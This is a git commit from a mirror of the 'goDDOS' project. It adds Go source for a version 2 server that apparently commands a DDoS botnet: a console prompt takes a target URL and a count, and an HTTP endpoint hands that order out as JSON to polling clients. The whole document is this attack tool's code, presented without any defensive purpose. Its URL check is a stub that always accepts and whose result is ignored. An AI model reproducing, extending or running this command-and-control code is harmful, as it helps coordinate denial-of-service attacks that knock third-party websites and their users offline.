mirror of
https://github.com/arnaucube/goDDOS.git
synced 2026-02-07 11:36:47 +01:00
implemented v2
This commit is contained in:
39
v2/server/cli.go
Normal file
39
v2/server/cli.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
//validURL checks if an url is a valid url
|
||||
func validURL(url string) bool {
|
||||
return true
|
||||
}
|
||||
func consoleInput() { //example: ddos http://web.com 4
|
||||
newcommand := bufio.NewReader(os.Stdin)
|
||||
for {
|
||||
fmt.Print("enter new order ([target] [count]): ")
|
||||
text, _ := newcommand.ReadString('\n')
|
||||
text = strings.TrimSpace(text)
|
||||
if text != "" {
|
||||
fmt.Println("console input command: " + text)
|
||||
t := strings.Split(text, " ")
|
||||
count, err := strconv.Atoi(t[1])
|
||||
if err != nil {
|
||||
fmt.Println("[error]: count parameter must be an integer")
|
||||
continue
|
||||
}
|
||||
if t[0] == "null" || t[0] == "none" {
|
||||
t[0] = ""
|
||||
}
|
||||
if validURL(t[0]); count >= 0 {
|
||||
currentOrder.Target = t[0]
|
||||
currentOrder.Count = count
|
||||
fmt.Println(currentOrder)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
53
v2/server/main.go
Normal file
53
v2/server/main.go
Normal file
@@ -0,0 +1,53 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
const PORT = "3000"
|
||||
|
||||
type Order struct {
|
||||
Target string `json:"target"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
var currentOrder Order
|
||||
|
||||
func getOrder(w http.ResponseWriter, r *http.Request) {
|
||||
jsonr, err := json.Marshal(currentOrder)
|
||||
if err != nil {
|
||||
log.Panic(err)
|
||||
}
|
||||
fmt.Fprintln(w, string(jsonr))
|
||||
}
|
||||
|
||||
func handleRequests() {
|
||||
http.HandleFunc("/", getOrder)
|
||||
log.Fatal(http.ListenAndServe(":"+PORT, nil))
|
||||
}
|
||||
|
||||
func main() {
|
||||
asciiTitle := `
|
||||
|
||||
_____ _____ ____ _____
|
||||
| __ \| __ \ / __ \ / ____|
|
||||
__ _ ___ | | | | | | | | | | (___
|
||||
/ _' |/ _ \| | | | | | | | | |\___ \
|
||||
| (_| | (_) | |__| | |__| | |__| |____) |
|
||||
\__, |\___/|_____/|_____/ \____/|_____/
|
||||
__/ |
|
||||
|___/ v.2
|
||||
`
|
||||
color.Blue(asciiTitle)
|
||||
|
||||
fmt.Println("server running at port " + PORT)
|
||||
|
||||
go consoleInput()
|
||||
|
||||
handleRequests()
|
||||
}
|
||||
Reference in New Issue
Block a user